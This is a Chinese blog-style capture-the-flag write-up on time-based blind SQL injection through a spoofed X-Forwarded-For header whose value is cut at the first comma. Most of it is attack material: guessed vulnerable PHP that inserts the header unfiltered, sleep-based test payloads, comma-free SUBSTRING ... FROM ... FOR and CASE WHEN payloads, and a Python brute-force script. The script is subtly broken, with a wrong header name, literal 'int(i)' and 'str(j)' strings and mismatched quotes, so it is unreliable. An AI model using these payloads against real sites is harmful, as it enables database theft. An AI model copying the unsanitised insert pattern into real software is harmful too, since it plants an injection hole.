明天早上满课,然而我三点了还在任性的写代码,真是该剁手,剁手啊…
在一个 ctf比赛中,遇到这样一个注入题:
用户的ip可以用x-forwarded-for来伪造,然后把ip存储到数据库中去,对ip没有进行任何过滤,存在注入,但是有一个限制就是: 用‘,’逗号对ip地址进行分割,仅仅取逗号前面的第一部分内容。
然后:没有报错,没有回显,没有bool,只有延时。 送一个字,坑。。。。。
比赛的时候,就各种纠结,想着怎么绕过逗号,没想出来,比赛结束之后,仔细想想,终于搞明白了,做以下的总结。
据我猜测,后台代码可能是这样的:
<?php error_reporting(0); function getIp(){ $ip = ''; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; }else{ $ip = $_SERVER['REMOTE_ADDR']; } $ip_arr = explode(',', $ip); return $ip_arr[0]; } $host="localhost"; $user="root"; $pass="root"; $db="sangebaimao"; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql); ?>
写一下我的数据库的表结构:
CREATE TABLE IF NOT EXISTS `client_ip` ( `id` int(11) NOT NULL AUTO_INCREMENT, `ip` varchar(200) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=gbk AUTO_INCREMENT=34 ; CREATE TABLE IF NOT EXISTS `flag` ( `flag` varchar(32) DEFAULT NULL ) ENGINE=MyISAM DEFAULT CHARSET=gbk; INSERT INTO `flag` (`flag`) VALUES ('327a6c4304ad5938eaf0efb6cc3e53dc');
我的目标是注出来flag表中的flag字段。
分析一下:
因为没有报错,没有回显。所以只能是延时盲注。
测试一下:
x-forwarded-for: 10.20.0.12'+sleep(5) and '1'='1
果真延时了,注入是存在的,但是怎么出数据呢???
没有逗号,所以if函数就不能用了。
那用另外一个:
select case when (条件) then 代码1 else 代码 2 end
把判断搞定了,但是怎么截取字符串呢? 截取字符串函数貌似都需要逗号啊!!!
百度了好久,才知道可以这样玩:
select substring((select user()) from 1 for 1); #第一种方法 select substring((select user()) from -1); #第二种方法
截取字符串的函数有了,判断也有了。那就搞定了:
找到两种payload
insert into client_ip (ip) values ('ip'+(select case when (substring((select user()) from 1 for 1)='e') then sleep(3) else 0 end)); --第一种payload insert into client_ip (ip) values ('ip'+(select case when (substring((select user()) from -1)='t') then sleep(3) else 0 end)); --第二种payload
接下来就是写个脚本跑了:
import requests payload = "qwertyuiopasdfghjklzxcvbnm1234567890" url = "http://127.0.0.1/test1.php" flag = "" for i in range(50): for j in payload: headers = {'HTTP_X_FORWARDED_FOR':"127.0.0.1'"+"(select case when (substring((select flag from flag limit 1) from int(i) for 1)=str(j)) then sleep(6) else 0 end) and '1'='1''"} try: res = requests.get(url,headers=headers,timeout=4) except requests.exceptions.ReadTimeout,e: flag = flag+j print flag break else: pass